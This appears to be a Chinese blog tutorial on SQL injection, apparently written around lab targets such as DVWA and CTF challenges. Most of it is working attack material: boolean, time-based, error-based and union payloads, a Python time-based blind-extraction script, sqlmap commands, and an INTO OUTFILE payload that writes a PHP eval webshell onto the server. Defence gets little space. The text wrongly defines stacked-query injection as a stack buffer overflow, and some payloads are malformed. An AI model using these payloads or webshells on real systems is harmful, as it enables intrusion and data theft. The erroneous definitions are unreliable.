SQL注入的渗透与防御

2025-01-04 11 0

SQL注入

  • SQL注入定义

SQL注入是用于窃取数据的一种技术,因为数据大部分存在于数据库中,而查询数据获取数据的代码都写在应用程序的代码中,这样就有可能因为代码写的不规范,导致入侵者可以通过将恶意SQL命令注入到数据库引擎执行,从而造成数据泄露。

SQL注入常年位列owasp top10 榜首!

  • 注入点

注入点是可以实行注入的地方,通常是一个访问数据库的连接。根据注入点数据库运行账号的权限的不同,所得到的权限也不同。

sql注入的攻击顺序为:获取库名,获取表名,获取列名,获取数据(sql)

SQL分类

一、根据注入攻击所使用的HTTP请求类型来分类:

GET型、POST型、COOKIE注入、HTTP头注入

  • GET注入

GET注入是一种通过HTTP GET请求进行的注入攻击,由于GET请求的参数在浏览器地址栏可见,攻击者利用URL中的查询参数(如?id=1)来插入恶意代码或篡改请求,通常用于SQL注入和其他类型的攻击。

  • POST注入

POST注入通过HTTP POST请求的表单数据(如用户注册、登录表单等)进行注入。与GET请求不同,POST请求的数据不直接显示在URL中,这使得攻击者的行为更隐蔽,难以被发现。

  • HTTP头注入

HTTP头注入通过HTTP请求头(如User-Agent、Referer等)进行注入。攻击者可以操控这些头信息来影响服务器的处理逻辑。

  • Cookie注入

Cookie注入是一种网络安全攻击,攻击者可以使用各种工具或脚本,修改或伪造Cookie值,将篡改后的Cookie发送回服务器,以便服务器错误地信任这些数据,从而导致未授权的访问或其他恶意操作。例如,攻击者可能会创建一个伪造的会话Cookie,试图冒充其他用户。

这种攻击通常发生在Web应用程序未能正确验证或过滤Cookie内容时。

二、根据反馈结果分类

有回显注入(显错注入)、无回显注入(盲注)、联合注入、第二次注入

  • 有回显注入/显错注入

有回显的注入是攻击者通过向Web应用程序输入恶意数据,并观察服务器返回的响应内容来确认注入是否成功。这种攻击通常利用了应用程序将用户输入直接回显到页面上的特性。

报错注入是一种SQL注入攻击的技术,攻击者通过故意构造错误的SQL查询,使数据库抛出错误,进而从错误消息中获取敏感数据,如数据库结构、表名、列名等,利用错误信息进行快速推断。

  • 无回显注入/盲注

盲注与普通的SQL注入不同,攻击者不能直接从页面上看到查询结果,只能通过观察应用程序的行为(如响应时间、错误信息等)来推测信息。

盲注的两种主要类型:布尔注入、时间注入

  • 布尔注入

布尔注入攻击者通过利用布尔逻辑(如AND、OR)来构造恶意输入,使得数据库查询的逻辑条件返回不同的结果,从而获取敏感信息或执行未授权操作。通常发生在应用程序未对用户输入进行适当验证和过滤时。

布尔盲注只适用于正确与错误结果不同的情况。若无论正确与否都是返回一样的结果,则布尔注入失效。

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

布尔注入流程:

  1. 判断数据库的长度:

用数字8尝试,发现页面显示错误,说明长度应该小于等于8,最终试出长度为8

?id=1' and length(database())>8 --+

  1. 判断数据库的名称:

用ascii逐个验证8位上每一位的字母,这里ascii码里115对应的字符是“s”,101是“e”……试出来数据库名是:security

?id=1' and ascii(substr((select database()),1,1))=115 --+

……

?id=1' and ascii(substr((select database()),8,1))=121--+

  1. 判断表的数量(DVWA的表有 guestbook,users):

?id=1' and (select count(table_name) from information_schema.tables where table_schema= database())=2 --+

  1. 判断单个表的长度:

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

拓展:substr(..., 1):对获取到的表名执行 substr 函数,从第一个字符开始提取整个表名。

  1. 逐一判断表名(与第2步类似),注意英文逗号的ascii码是44:

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+

或者可以这样写:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

  1. 判断字段名的数量(DVWA的字段有:user_id,first_name,last_name,user,password,avatar,last_login,failed_login):

?id=1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 --+

  1. 判断字段名长度:

?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #

注意:遇到mysql_real_escape_string函数过滤引号的情况下,可以选择使用 database() 查找数据库名,或者用十六进制表示(转换成十六进制时不用把引号一起转换了,记得把转换的值前面加上"0x" )

  1. 逐一判断字段名:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=117 --+

  1. 判断字段内容长度:

?id=1' and length((select group_concat(flag) from flag))>109--+

  1. 逐一检测内容:

?id=1' and ascii(substr((select group_concat(flag) from flag),1,1))>50--+

  • 时间注入

时间注入通常用于SQL注入或基于时间的盲注。攻击者通过故意延迟查询(例如使用 SLEEP 函数),观察响应时间的变化来判断查询是否成功。利用数据库响应时间的差异来推断敏感信息。

如果页面内容一直不变就可以采用延时盲注的方法,如果结果正确的话页面延时刷新,错误的话无延时 ,通过判断有无延时判断结果是否正确。示例:

时间注入相关语句:

?id=1' and if(length(database())=8,sleep(5),1) --+

如果发现延时了5秒,说明数据库长度确实为8 因为延时盲注比较耗时,可使用脚本进行自动盲注,最终输出目标长度及字符串名。

# 时间盲注
import time
import requests

flag = ""
i = 0
j = 0
dict = {
48: '0', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9',
65: 'A', 66: 'B', 67: 'C', 68: 'D', 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K', 76: 'L', 77: 'M',
78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R', 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y', 90: 'Z',
97: 'a', 98: 'b', 99: 'c', 100: 'd', 101: 'e', 102: 'f', 103: 'g', 104: 'h', 105: 'i', 106: 'j', 107: 'k', 108: 'l',
109: 'm', 110: 'n', 111: 'o', 112: 'p', 113: 'q', 114: 'r', 115: 's', 116: 't', 117: 'u', 118: 'v', 119: 'w',
120: 'x', 121: 'y', 122: 'z'
}
num = {97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
120, 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78,
79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90}
namenum = 0

while i < 20:
ss = time.time()
url = "http://test?id=1' and if(length(database())=" + str(i) + ",sleep(8),0) --+"
requests.get(url)
if time.time() - ss >= 8:
namenum = i
break
else:
i += 1
while j < namenum:
for i in num:
ss = time.time()
url = "http://test?id=1' and if(ascii(substr(database()," + str(j + 1) + ",1))=" + str(i) + ",sleep(8),0) --+"
requests.get(url)
if time.time() - ss >= 8:
flag += dict[i]
j += 1
if j >= namenum:
print("长度为: " + str(namenum) + "\n名字为: " + flag)
break
  • 联合注入

攻击者利用 UNION 操作符将恶意查询与原始查询结合,以获取额外的数据。当攻击者可以控制SQL查询的某些部分时,他们可以通过联合查询来提取来自其他表的信息,通常用于获取与原查询具有相同列数和数据类型的数据。

  • 第二次注入

第二次注入是一种SQL注入攻击类型,攻击者通过将恶意SQL代码存储在数据库中,等待后续操作触发该代码的执行。这种攻击通常依赖于应用程序的逻辑流程,使得攻击更隐蔽,难以检测。由于攻击代码在第一次请求中并不立即执行,防御机制可能无法及时发现这一注入。

三、根据数据类型分类

  • 数字型:输入的参数为整型,如id、年龄、页码等
  • 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要闭合,而字符串型一般需要闭合。

四、注入方式来分类

报错注入 、堆叠注入、宽字节注入等

报错注入

原理:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息

报错注入的相关函数

1.floor():向下取整

2.extractvalue():对XML文档进行查询的函数,当参数的格式不正确而产生的错误,会返回参数的信息

3.updatexml():更新xm|文档的函数,原理跟extracvalue一样。

4.exp():以e为底的指数函数

5.rand()+group()+count()

等等

报错注入的方法主要有三种

(1) floor报错(比较复杂)

原理是利用数据库主键不能重复,使用group by分组,产生主键key冗余而报错。需要注意的是该语句将输出字符长度限制为64个字符;注入语句如下(假如是基于字符型的错误回显注入):

?id=2' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata LIMIT 5,1),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+

拓展:

  • LIMIT 5,1: 这个部分表示从结果集中跳过前5个结果,返回第6个结果。也就是攻击者想要提取第6个数据库的名称。)

在 SQL 中,rand() 函数用于生成一个随机浮点数,范围在 0 到 1 之间。通常情况下,rand() 函数可以接受一个可选参数,用于生成可重复的随机数序列。

  • rand() 的参数的作用:

当传入一个数字(例如 0)时,rand(0) 会生成一个确定的随机数。这意味着每次调用 rand(0) 时都会返回相同的结果。例如,rand(0) 可能总是返回某个特定的值,如 0.123456。

通过爆库让数据库名显示到报错信息中

(2) updatexml报错(适用版本:5.1.5+)

updatexml 是一个用于处理 XML 的函数,用于在 XML 数据中更新值,通常被用作一个载体来执行其他操作。

updatexml(XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。

注入语句:

?id=2' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

拓展:

  • updatexml(1, concat(...), 1)

第一个参数 1 是一个占位符,实际上并不影响查询。

第二个参数是一个字符串,由 concat 函数生成。

  • 0x7e 是 ASCII 码 126,表示字符 ~。所以这部分的目的是在数据库名称前后加上 ~ 字符,添加“ ~ ”使其不符合xpath格式从而报错

(3) extractvalue报错(适用版本:5.1.5+)

extractvalue(XML_document,XPath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错。

concat和的group_concat作用一样

注入语句:

?id=2' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+

UPDATEXML() 函数关于使用 AND 和 OR 的区别,主要取决于攻击者的目标和上下文。

使用 AND 和 OR 的区别:

  • AND

使用 AND 时,整个条件必须为真,才能继续执行后续的 SQL 语句。

这意味着原始查询的条件(如 1)也必须为真,才能让注入部分有效。一般用于当攻击者知道原始查询条件为真的情况下(如在某些验证后的页面),希望通过注入来获取数据。

  • OR

使用 OR 时,只要注入部分为真,整个条件就会为真。这意味着即使原始查询条件不成立,注入部分也可以使查询成功。

通常用于当攻击者不确定原始条件是否为真的情况下,想要保证注入能被执行。

选择哪种方式:

如果原有查询返回的结果不影响攻击者的目标,通常会选择 OR。

如果希望在特定条件下执行特定的数据库操作,可能会使用 AND。

AND 更加严格,适合于需要确保条件成立的情况。

OR 更加灵活,适用于希望绕过条件限制的场景。

宽字节注入

宽字节注入是一种网络安全攻击手段,利用字符编码的漏洞来注入恶意代码。攻击者通过插入特定的宽字节(通常是多字节字符集中的字符)来操纵目标系统的输入处理,从而绕过安全过滤机制。

出现原因:

1.现在大多数的网站对于SQL注入都做了一定的方法,例如使用一些 Mysql中转义的函数 addslashes , mysql_rea_escape_string , mysql_escape_string等。还有一种是配置 magic_quote_gpc(魔术引号),不过PHP高版本已经移除此功能。

其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠 “ \ ” 进行转义。

  1. 网站开启了 magic_quote_gpc,或者使用了以上转义函数,数据库设置成gbk编码(不是htmI编码)
  2. 在编码中,gbk 编码占用2个字符,ascll占用1个字符,攻击者恶意构造,把ascll字符占掉,就能进行下一步攻击

堆叠注入

堆叠注入是一种特定类型的代码注入攻击,攻击者通过操纵程序的堆栈结构来执行恶意代码或改变程序的执行流程。堆叠注入主要影响那些使用C、C++等低级语言编写的应用程序,利用了这些语言在内存管理上的特性。

在程序执行时,堆栈用于存储函数调用的参数、返回地址和局部变量。攻击者可以通过特定的,使得堆栈中的返回地址被修改,当程序执行完当前函数并试图返回时,会跳转到攻击者指定的地址,从而执行恶意代码。

例如缓冲区溢出:攻击者输入超出预期长度的数据,覆盖堆栈上的返回地址,导致程序跳转到攻击者控制的代码

防范措施:

输入验证:对所有用户输入进行严格的长度和格式检查,防止缓冲区溢出。

使用安全函数:避免使用不安全的函数,如strcpy,而使用strncpy等更安全的替代品。

各种注入的注意点:

  • 联合注入需要页面有回显位,如果数据 不显示只有对错页面显示我们可以选择布尔盲注。
  • 布尔盲注只适用于正确与错误结果不同的情况。如果正确与否都无变化则用时间盲注。
  • 利用单引号 ' ' 或者双引号 " " 或者 \ 来检测是否存在注入,如果爆出sql错误或者不回显,90%可能存在注入
  • 报错注入在遇到有报错回显的时候,但是没有数据回显的情况下可以利用

SQL注入的危害:

绕过登录验证:使用万能密码登录网站后台等。

获取敏感数据:获取网站管理员帐号、密码等。

文件系统操作:列目录,读取、写入文件等。

注册表操作:读取、写入、删除注册表等。

执行系统命令:远程执行命令。

工具和手工测试的区别

  • 使用工具

优点:自动化,范围广,效率高。

缺点:误报,漏报,测试方法有限。

  • 手工测试

优点:测试方法灵活。

缺点:效率低,范围窄,因测试者技术水平而异。

注入常遇到的url具体含义:

  • %27 是单引号 '
  • %20 是空格
  • %23 是注释 #

在mysql5.0以上版本,具有 information_schema库,这个库有我们想要的数据,而在mysql5.0以下,是没有这个库的。

information_schema.schemata则是 MySQL 数据库中的一个系统表,用于存储关于数据库(即模式)的信息。通过这个表可以获取数据库的相关元数据。

Sqpmap常用参数

  • 跑出数据库

sqlmap -u http://example.com --dbs

  • 跑出指定数据库的表

sqlmap -u http://example.com -D 数据库名 --tables

常用术语

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--tables 列出当前的表

--columns 列出当前的列

--dump 获取字段中的数据

sqlmap使用方法:

要提前配置好python2的环境(python3也可以),下载sqlmap-master,在sqlma-master文件夹里打开Windows Powershell,然后输入 python sqlmap.py 回车即可

如果要查看sqlmap版本则:python sqlmap.py --version

查看简要的帮助信息:python sqlmap.py -h

Sqlmap支持直连数据库,通过以下命令来直连:

  • 服务型数据库(前提知道数据库用户名和密码)(支持MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)

例如,可通过以下命令连接获取对应信息:

python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users

-d:用于指定数据库连接的 URL,告诉 sqlmap 工具连接到哪个数据库进行测试。具体来说,-d 后面跟随的 URL 格式为:

dbms://:@<dbms的ip>:/

-f:表示只进行一次注入测试,成功后停止进一步的测试。

--banner:获取数据库的横幅信息,通常用于识别数据库的版本等信息。

--dbs:列出数据库服务器上的所有数据库。

--users:列出数据库中的所有用户。

  • 文件型数据库(前提知道数据库绝对路径):

DBMS://DATABASE FILEPATH(SQLite, Microsoft Access, Firebird, etc.)

Sqlmap直接对单一URL探测,参数使用 -u 或 --url

URL格式:http(s)://target_url[:port]/[...](注意:id字段必须有,否则会失败),例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1"--banner

Sqlmap支持从不同类型的文件中读取目标进行Sql注入探测。

-l:从 Burpsuite proxy 或 WebScarab proxy 中读取 Http 请求日志文件

-x:从sitemap.xml 站点地图文件中读取目标探测。

-m:从多行文本格式文件读取多个目标,对多个目标进行探测。

-r:从文本文件中读取 Http 请求作为Sql注入探测的目标。

-c:从配置文件 sqlmap.conf 中读取目标探测。

当id字段为字符型且被双括号包含,同时报错信息为静态固定,无法使用报错注入,也因为正确信息也为静态固定信息,无法使用联合查询注入时。

我们可以考虑使用outfile,outfile是sql的语法,可以通过into outfile命令,将查询到的结果写入目标路径,在知道目标系统的绝对路径时可以使用,如:

-1')) union select 1,2,database() into outfile"/tmp/1.txt"--+

可以打开1.txt,里面被写入了查询到的当前数据库名。

同样也可以写入一句话木马,通过webshell管理工具连接来控制目标主机:

?id=-1')) union select 1,2,'<?php eval(@$_POST["123"]);?>' into outfile"/tmp/webshell.php"--+

需要注意的是,因为写入的文件我们只能通过网址访问,所以应该放在目标主机的http服务根目录下

当出现题目采用的是公网地址,无法得知目标主机的绝对路径时,采用布尔盲注的方法。

首先猜解数据库的名称长度,这里随机输入8试试

?id=1')) and length(database())>8 --+

思路就是使用length函数返回长度,然后一个一个对比,比如>8页面显示失败的话,则长度应该是<=8,最终得出数据库名长度。

不出现报错信息,只有成功信息,可用布尔注入(当username为单引号字符时)

1' or length(database())=8#

得出数据库名长度为8

1' or ascii(substr(database()),1,1)=115 #

得出数据库名首字母为“s”(注意上面只需要一个等号就行了!)

报错注入流程

1.爆数据库名

2.利用爆表名:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database(),0x7e)) --

3.爆列

?id=1' and extractvalue(1,concat(0x7e,(selectgroup _concat(column name) from information schema.columnswhere table name='users")))--+

发现没有全部显示列,可以利用and column_name not in (' id ',' login ',' password ',' email',' secret ') 来显示其他值 ,如果值还是没有全,就继续加到and里面值

4.爆值:同样的没有显示全利用where username not in (' Dumb ',' Angelina ')

查看concat,concat_ws,group_concat 区别

  • concat用法

功能:将多个字符串连接成一个字符串,并返回一个单一的字符串。语法:

concat(str1,str2....)

  • concat_ws用法

功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws 就是 concat with separator)

concat_ws(separator, str1,str2,...)

  • group_concat用法

功能:将group by产生的同一个分组中的值合并为一个字符串,返回每个组的所有值的连接字符串,可以指定分隔符。语法:

group_concat([distinct] 要连接的字段 [order by 排序字段 asc/desc ]

示例:

  • CONCAT()

SELECT CONCAT('Hello', ' ', 'World') AS greeting; -- 返回 'Hello World'

  • GROUP_CONCAT()

SELECT department, GROUP_CONCAT(employee_name SEPARATOR ', ') AS employees FROM employees GROUP BY department;

几个盲注的函数

Length()函数:返回字符串的长度

limit(a,b):后缀两个参数时(参数必须是一个整数常量),a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录。

Substr():截取字符串

Ascii():返回字符的ascii码

left(name,m):函数返回name的左边第m个字符

right(name,n):函数返回name的右边边第n个字符

1.判断数据库名字可以用 left/ascii 函数,同理猜表名也是一样的

利用 and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1) < 's' 来猜解表名

SQL注入绕过技巧

参考文章:https://www.cnblogs.com/Vinson404/p/7253255.html

+ 在某些情况下用于确保注释后面的空格不影响查询。

在 SQL 中,-- 用于开始注释,之后的部分会被忽略。这意味着 SQL 引擎不会处理注释后的内容。

但有些数据库在 -- 后需要有一个空格,才能正确识别注释的结束。如果没有空格,可能会导致 SQL 语法错误。

确保后面有空格:+ 号在URL编码里会编码成空格,确保运行不会出错

在浏览器网址栏里使用 --+ 作为注释,但在登陆框中用 # 作为注释

需要了解mysql的知识点

  • union select:联合查询,联合注入常用
  • database():回显当前连接的数据库
  • version():查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
  • group_concat():把产生的同一分组中的值用,连接,形成一个字符串
  • information_schema:存了很多mysql信息的数据库
  • schemata:information_schema库的一个表,名为schemata
  • schema_name schemata:表中存储mysql所有数据库名字的字段
  • tables:存了mysql所有的表
  • table_schema tables:表中存每个表对应的数据库名的字段
  • table_name:表的名字和table_schema一一对应
  • columns:columns表存了所有的列的信息
  • column_name:当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
  • table_name:表的名字和column_name一一对应
  • select updatexml(1,concat(0x7e,database(),0x7e),1);(这里只在databse()处改你想要的内容即可报错回显)
  • right(str, num):字符串从右开始截取num个字符
  • left(str,num):字符串从左开始截取num个字符
  • substr(str,N,M):字符串从第N个字符开始,截取M个字符

注入流程

  • ?id=1(注意=号两边不要有空格!)
  • ?id=1 order by 9999 --+ 成功是字符型,否则是数字型

(又或者?id=2-1,如果返回的是?id=1,说明是数字型)

  • ?id=1' and 1=1 --+ ,或者可以直接在搜索框后面输入?id=1\,看看报错信息,观察 \ 后面的符号。
  • ?id=1') and 1=1 --+ (有括号时,括号的添加位置如上)
  • ?id=1' and 1=1 order by 4 --+ 用任意数字尝试多少列(假如试完为3列)
  • ?id=-1' union select 1,2,3 --+(假如显示在前端的数据在2,3,那可以选择在2或者3进行注入。不过注意从union开始id要变成负数或者0,这样是为了不显示无关信息,当然不改也不影响做题)
  • ?id=-1' union select 1,2,version() --+ (查询所属的数据库版本及库名,只有5.0以上版本才有information_schema表)
  • ?id=-1' union select 1,2,database() --+ (把2改成database() 也可以,假如数据库查询后知security)
  • ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ (information_schema.tables 是一个系统表,包含数据库中所有表的信息。)
  • ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+(因为在security数据库里找不到有用的信息,于是找找其他数据库,注意schemata不需要加s,其他的例如tables,columns都是加s的)
  • ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+ (这里过程重复不再赘述)
  • ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+ (查列名)
  • ?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+ (查列内容)

如果有多列信息要查,可以这样写:

(1)?id=-1' union select 1,(select group_concat(username,'~',password)) from pikachu.users #

(2)?id=-1' union select group_concat(username), group_concat(password) from pikachu.users #

当然,在列数不够显示的时候,可以将上面两种方法结合起来:

比如,我们要同时查id,username,password,但是只有两列,可以用group_concat():

  • ?id=-1' union select group_concat(username,' ',id), group_concat(password) from pikachu.users #

判断sql注入是字符型还是数字型

参考文章:

https://blog.csdn.net/jenchoi413/article/details/125431401

https://blog.csdn.net/chenzzhenguo/article/details/108842399


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

都在给网安泼冷水,我来给网安泼盆开水
Exposor:一款基于互联网搜索引擎实现的统一语法网络侦查工具
JSON Web Token 默认密钥 身份验证安全性分析
代码审计 | JavaMeldoy XXE漏洞分析
【全球首发】【6w$赏金】微软身份漏洞-未授权强制解绑任意微软账户邮箱
盘点万亿市值的Palantir在2024年拿下的至少87亿的美军合同都是啥

发布评论